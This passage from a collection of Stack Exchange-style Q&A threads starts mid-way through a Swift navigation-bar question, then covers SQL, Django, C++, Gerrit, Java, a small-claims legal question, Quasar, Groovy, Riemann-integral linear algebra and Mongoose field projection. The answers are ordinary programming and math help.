            self.view.layoutIfNeeded()
        })

    }
    else {
        self.navigationController?.navigationBar.barTintColor = UIColor.white
        navigationItem.leftBarButtonItem?.tintColor = UIColor(red:0.00, green:0.20, blue:0.63, alpha:1.0)

        let image = UIImage(named: "MenuBarTransparent")
        navigationItem.titleView = UIImageView(image: image)
        navigationItem.titleView?.frame=CGRect(x:10, y:0, width:30, height:360)

        leadingConstraint.constant = 0
        shadowLeadingConstraint.constant = 0
        UIView.animate(withDuration: 0.3, animations: {
            self.view.layoutIfNeeded()
        })
    }
    menuShowing = !menuShowing
}

This portion of code in the above function makes the image appear when I want it to, but manipulating the x and y-coordinate has no effect whatsoever so I can't center the image correctly:
let image = UIImage(named: "MenuBarTransparent")
        navigationItem.titleView = UIImageView(image: image)
        navigationItem.titleView?.frame=CGRect(x:10, y:0, width:30,  height:360)

Also, this portion of code from above does not let me delete the image from the nav bar title whenever I close the menu again, it says "Cannot assign value of type 'String' to type 'UIView?':
navigationItem.titleView = ""

Thanks in advance for any help.

A:

You are assigning a string to the title view. Instead of navigationItem.titleView = "" , I think you should use navigationItem.titleView = nil.


Q:

SQL - Find Differences Between Columns

Let's say I have the following table
Sku | Number | Name
11    1        hat
12    1        hat
13    1        hats
22    2        car
33    3        truck
44    4        boat
45    4        boat

Is there an easy way to figure out how to find the differences within each Number. For example, with the table above, I would want the query to output:
13 | 1 | hats

The reason for this is because our program processes the rows as long as the number matches the name. If there is an instance where the name doesn't match but the rest of the names do, it will fail.

A:

You can find the most common value (the "mode") using window functions and aggregation:
select t.*
from (select number, name, count(*) as cnt,
             row_number() over (partition by number order by count(*) desc) as seqnum
      from t
      group by number, name
     ) t
where seqnum = 1;

You could then find everything that is not the mode using a join.  The easier way is just to change the where condition:
select t.*
from (select number, name, count(*) as cnt,
             row_number() over (partition by number order by count(*) desc) as seqnum
      from t
      group by number, name
     ) t
where seqnum > 1;

Note:  If there are ties in frequency for the most common value, then an arbitrary most common value is chosen.
EDIT:
Actually, if you want the original skus, you might as well do the join:
with modes as (
      select t.*
      from (select number, name, count(*) as cnt,
                   row_number() over (partition by number order by count(*) desc) as seqnum
            from t
            group by number, name
           ) t
      where seqnum = 1
     )
select t.*
from t join
     modes
     on t.number = modes.number and t.name <> modes.name;

This will ignore NULL values (but the logic can easily be fixed to accommodate them).


Q:

Modifying a Django ModelForms fields

I have a Django model, which has a foreign key owner, referring to the user who owns this object.
To let other users edit these objects, I currently use a forms.ModelForm, which works fine so far.
But I know want to let the owner and only the owner change the owner of the object he owns (what an ownage! :). Thus I tried the following:
class FolderForm(forms.ModelForm):
    def __init__(self, user, *args, **kwargs):
        if kwargs.get("instance", False):
            if user == kwargs["instance"].owner:
                self._meta.fields += ("owner",)

        super(FolderForm, self).__init__(*args, **kwargs)

    class Meta:
        model = Folder
        fields = (
            "name",
            "description",
        )

But this doesn't work, since Django uses some metaclass-magic to set the fields on the model, which seems to be done before my subclassed __init__ is called.
Anyone ever did something like this?

A:

I like to use closure normally
def make_form(exclude_user=True):
    class Form(forms.ModelForm):
        class Meta:
            model = Folder
            exclude = ['user'] if exclude_user else None
    return Form

form_cls = make_form(request.user != folder.owner)


Q:

How to find a certain value in a vector of strings

I'm trying to create a program for an assignment that will add and remove strings from a vector of strings, but first I need to create a function that will find whether or not the string already exists in the vector.
I've already tried to use a loop to search through the vector to find a specific desired string at each index. I tried adding a break; to exit if the string was found. I don't know if the function is supposed to be void or boolean.
bool FindString(int vctrSize, vector<string> restaurantVctr, string targetRestnt) {
    int i;

    for (i = 0; i < vctrSize; ++i) {
        if (restaurantVctr.at(i) == targetRestnt) {
            return true;
            break;
        }
        else {
            return false;
        }
    }
}

I expect the output to be true if the string was found, else it would obviously be false.
Edit: I forgot to mention that I also received the warning: "not all control paths return a value"

A:

You should use std algorithms whenever possible:
auto result = std::find(restaurantVctr.begin(), restaurantVctr.end(), targetRestnt);
return result != restaurantVctr.end();

That is exactly what std::find is for.

A:

While I recommend using std::find as others have recommended, if you're curious what is wrong with your code, the problem is your else:
for (i = 0; i < vctrSize; ++i) {
    if (restaurantVctr.at(i) == targetRestnt) {
        return true;
        break;
    }
    else {
        return false;
    }
}

If the first item in your vector is not equal to targetRestnt, then your function returns--that is, it ends execution.
You only want to return false if it's not in the whole list--that is, you want the whole loop to execute:
for (i = 0; i < vctrSize; ++i) {
    if (restaurantVctr.at(i) == targetRestnt) {
        return true;
        // Also, you don't need a break here: you can remove it completely
        // For now, I just commented it out
        // break;
    }
}

// We didn't find it:
return false;


Q:

how to cherry pick a patch with all its dependencies?

I have seen these 2 posts:

https://code.google.com/p/gerrit/issues/detail?id=1123
https://groups.google.com/forum/#!msg/repo-discuss/qlP-Yxlxg68/yWJxZVR9mnQJ

Is it enabled or not?

A:

Yes, the Rebase-if-necessary submit type was added in Gerrit 2.6.  For this to work the project owner/administrator must select this submit type for the project(s) wanting this feature.
From Projects->List, select the repository you wish to use this submit strategy. Change the Submit Type to 'Rebase if necessary' and save changes.


Q:

Instance Counter for a String - Java

String

name of the car. The name is formed by concatenating the word “Car” to the instance number of this object. For example, the first instance is Car1, the second instance is Car2, and so forth.

So I created a String named car and now I need to make it apply a incrementing number when a new instance is created.
public class CarDash {
public String Car ="Car";
public static int instanceNumber;
}

And then it needs to count how many instances were created

One class variable that is shared for all of the class instances.
instanceNumber
integer
keeps track the number of instances created.

Should i add a counter whenever a certain method is called? Or have it count when the a new Car is named/created?
    instanceNumber++;

I dont know if I am making any sense...

A:

You just need to create a constructor and increment the instanceNumber (using ++instanceNumber pre-increment ) then set the car value using instanceNumber variable.
So your constructor will be similar to below.
public CarDash(){
    Car="Car"+ (++instanceNumber);
}

Whole class will be as below
public class CarDash {
public String Car = "Car";
public static int instanceNumber;

public CarDash(){
    this.Car="Car"+ (++instanceNumber);
}

public static void main(String[] args) {
    CarDash car=new CarDash();
    CarDash car1=new CarDash();
    CarDash car2=new CarDash();

    System.out.println(car.Car+" "+car1.Car+" "+car2.Car);
}
}

Out put will be as below.
Car1 Car2 Car3


Q:

Non payment on (Phone) Handset Lease

I am in a situation where my friend was not able to get a phone contract under his name, and I being a good friend agreed to add a line to my account and leased a phone for him (all under my account).
Recently we had a few misunderstandings and the person decided to stop making lease payments on the device. I reached out to the person and advised him that I (we) do not own the phone, so he must either return the phone to me so I can bring it back to the Carrier or start making the lease payments, and he ignored my requests.
Due to the above, I am interested in bringing this person to court. Now, my question: Is that even possible?  What's the term used for this legal situation? What paper work would I file with the courts to get this moving?
State: New Jersey

A:

Yes.  The term for this situation is a "civil dispute."  It can be resolved via a civil claim.  In New Jersey, for claims under $3000, you can use the Small Claims courts.  The process is designed to be followed without the assistance of counsel.  Let the internet be your guide.


Q:

Quasar Framework: hide QToolbarTitle inside QLayoutHeader/QToolbar

I'm trying to build an application with Quasar Framework.
I want to have 2 QRouteTabs in the QToolbar that is located inside QLayoutHeader. I have this code:
<template>
  <q-layout view="lHh Lpr lFf">
    <q-layout-header>
      <q-toolbar color="primary" :inverted="$q.theme === 'ios'">
        <q-tabs>
          <div class="row">
            <q-route-tab default="true" to="/" label="Найду еду"/>
            <q-route-tab to="/contacts" label="Контакты"/>
          </div>
        </q-tabs>
      </q-toolbar>
    </q-layout-header>

    <q-page-container>
      <router-view />
    </q-page-container>
  </q-layout>
</template>

This is what I get:

As you see, there is an empty space above the QTabs. I want to get rid of it. How can I do this?

A:

The proper way to do what you want is to remove the surrounding div and add slot="title" to the q-route-tab element.
This will stick the tab in the right place.
<q-tabs>
  <q-route-tab slot="title" default="true" to="/" label="Найду еду"></q-route-tab>
  <q-route-tab slot="title" to="/contacts" label="Контакты"></q-route-tab>
</q-tabs>

Codepen


Q:

Does Groovy have object destructuring like Javascript?

Does Groovy have object destructuring with multiple assignments like Javascript:
let options = {
  title: "Menu",
  width: 100,
  height: 200
};

let {title, width, height} = options;

alert(title);  // Menu
alert(width);  // 100
alert(height); // 200

A:

Groovy doesn't have JavaScript's object destructuring... It only has index based destructuring
https://groovy-lang.org/semantics.html#_object_destructuring_with_multiple_assignment


Q:

Dynamic UI Generation - Java

Hi,
I have a requirement where the UI has to be dynamically generated. Please see the above image. Step 1 consists of a Dialog with a jcombobox and and jbutton. When I click the "+" button in step 1, a new row should get dynamically added to the jdialog, this is shown in Step 2. Similarly, more rows can be added using the "+" button. Pressing the "-" button should remove the row. Also, the JDialog should have a vertical scroll bar when necessary. I have been trying Grid layout but to no avail. Any help will be appreciated.

A:

Try this link on how to add components on runtime and this thread has an example to add/ remove jbuttons on runtime


Q:

linear algebra foundation of Riemann integrals

Let $V$ be the vector space of real functions $f\colon [a,b]\to \mathbb R$ and let $X$ be the set of characteristic (indicatrix) functions of subintervals: $X=\{\mathbb 1_I\colon I\subset [a,b] $ interval $\}$. We define $T\colon X \to \mathbb R$ as $T(\mathbb 1_I) = |I|$ where $|I|$ is the length of the interval $I$. Notice that $X$ is not a set of independent vectors because the sum of adjacent intervals is again an interval, but in that case $T$ is defined to be additive.
So it is clear that $T$ can be extended as a linear map on the vector space generated by $X$ (which is the space of so called simple functions).
What are the abstract properties of $X$ and $T$ (in the setting of linear algebra) which can be applied to the above example to prove that $T$ is linear on $X$?
For example $X$ and $T$ have the following property: $x,y,x+y\in X \implies T(x+y) = T(x)+T(y)$ and $x,\lambda x \in X \implies \lambda=1$. Is this enough to prove that $T$ is linear i.e. that $x,y,\lambda x +\mu y \in X \implies T(\lambda x + \mu y) = \lambda T(x) + \mu T(y)$? And is this enough to prove that $T$ has a linear extension to the span of $X$?

A:

I'm not entirely sure I've understood your question properly, but here's an attempt.
Proposition: Let $V$ be a real vector space, let $X \subset V$, let $W = \operatorname{span} X$, and let $f: X \rightarrow \mathbb{R}$ be a function.  Then:
a) There is at most one linear function $F: W \rightarrow \mathbb{R}$ such that $F|_X = f$.
b) If such a function exists, there is at least one linear function $G: V \rightarrow \mathbb{R}$ such that $G|_X = f$.
c) The following are equivalent:
(i) There is a linear extension $F$ to $W$, namely: for $x_1,\ldots,x_k \in X$ and $\alpha_1,\ldots,\alpha_k \in \mathbb{R}$,
$F(\alpha_1 x_1 + \ldots + \alpha_k x_k) = \alpha_1 f(x_1) + \ldots + \alpha_k f(x_k)$.
(ii) For all $x_1,\ldots,x_k \in X$ and $\alpha_1,\ldots,\alpha_k \in \mathbb{R}$, if
$\alpha_1 x_1 + \ldots + \alpha_k x_k = 0$, then $\alpha_1 f(x_1) + \ldots + \alpha_k f(x_k) = 0$.
Proof: a) If there is such a linear extension $F$ to $W$, then it is uniquely determined by the formula of condition (i) of part c), so it is unique.  b) Every linear map on a subspace $W$ extends to a linear map on the entire space $V$: just choose a basis for the subspace, extend it to a basis for the entire space, and define the map arbitrarily on the basis vectors lying outside of $W$.  c) The implication (i) $\implies$ (ii) is immediate.  For (ii) $\implies$ (i): we would like to define the extension $F$ by the formula of (i):
$F(\alpha_1 x_1 + \ldots + \alpha_k x_k) = \alpha_1 f(x_1) + \ldots + \alpha_k f(x_k)$.
But we need to check that this is well-defined: suppose $x \in W$ has two expressions
$\alpha_1 x_1 + \ldots + \alpha_k x_k = x = \beta_1 x_1 + \ldots + \beta_k x_k$
for $\alpha_1,\ldots,\alpha_k,\beta_1,\ldots,\beta_k \in \mathbb{R}$.  Then
$(\alpha_1 - \beta_1)x_1 + \ldots + (\alpha_k - \beta_k) x_k = 0$, so using (iii) we get
$0 = (\alpha_1-\beta_1)f(x_1) + \ldots + (\alpha_k-\beta_k)f(x_k)$,
and thus
$\alpha_1 f(x_1) + \ldots + \alpha_k f(x_k) = \beta_1 f(x_1) + \ldots + \beta_k f(x_k)$.
Notice that condition (ii) of part c) is certainly satisfied if $X$ is linearly independent.
I invite you to verify criterion (ii) in the example you've given.


Q:

How to remove properties of mongo objects in an array?

I hope the snippets below make my question more clearer. I can fetch an object that has embedded an array of category objects. From the category objects I want to show only certain properties.
So this is what I get now:
{
  "photo": [],
  "_id": "5ec55ae39eere8ert85bf8fe749",
  "title": "Blog about coding",
  "description": "Hi, I want to share with you my incredible journey as a software developer...",
  "rate": 3,
  "category": [
    {
      "_id": "5ec55ae39aaa78985f8fe74a",
      "name": "programming",
      "display_name": "Programming"
    }
  ],
  "createdAt": "2020-05-20T16:29:23.982Z",
  "updatedAt": "2020-05-20T16:29:23.982Z",
  "__v": 0
}

With the following code:
/* GET blog with id */
router.get("/:id", async (req, res, next) => {
    try {
        const blog = await Blog.findById(req.params.id); // How to filter out fields of objects in category array?
        res.send(blog);
    } catch(ex) {
        res.status(400).send(ex);
    }
});

This is what I actually want:
{
  "photo": [],
  "_id": "5ec55ae39eere8ert85bf8fe749",
  "title": "Blog about coding",
  "description": "Hi, I want to share with you my incredible journey as a software developer...",
  "rate": 3,
  "category": [
    {
      "display_name": "Programming"
    }
  ],
  "createdAt": "2020-05-20T16:29:23.982Z",
  "updatedAt": "2020-05-20T16:29:23.982Z",
  "__v": 0
}

So, in category I want only the "display_name"
How can I get this. I thought I saw a solution before, but I can't find it anymore.

A:

Since you're using .findById() which is mongoose wrapper to .findOne({_id: ObjectId()}) which offloads burden of converting input string to ObjectId(), but there is nothing much .find()'s can help on projection, You need to list all the fields as like given below :
/** .findById(inputString, projection) */

Blog.findById(req.params.id,
{
  "category.display_name": 1,
  "title": 1,
  "description": 1,
  "rate": 1,
  "createdAt": 1,
  "updatedAt": 1
})

/** Or */

Blog.findById(req.params.id,
{
  "category._id": 0,
  "category.name": 0,
})

Test : As playground can't use .findById test it using .find() :  mongoplayground
But if you lean towards using aggregation you can do lot more in projection :
const mongoose = require('mongoose');

/* GET blog with id */
router.get("/:id", async (req, res, next) => {
    try {
        const blog = await Blog.aggregate([{$match : {_id : mongoose.Types.ObjectId(req.params.id)}},
            { $addFields: { category: { $map: { input: "$category", in: { display_name: "$$this.display_name" } } } } }
        ]);
        res.send(blog);
    } catch(ex) {
        res.status(400).send(ex);
    }
});

Test : mongoplayground
Note : This aggregation query iterates thru category array and keep only display_name in each object, Use this pipeline only if you need to exclude a lot of fields in category objects. I would suggest to use second option in .findById() cause you no need to convert string to ObjectId() and an aggregation pipeline just to exclude fields name and _id inside objects of category array.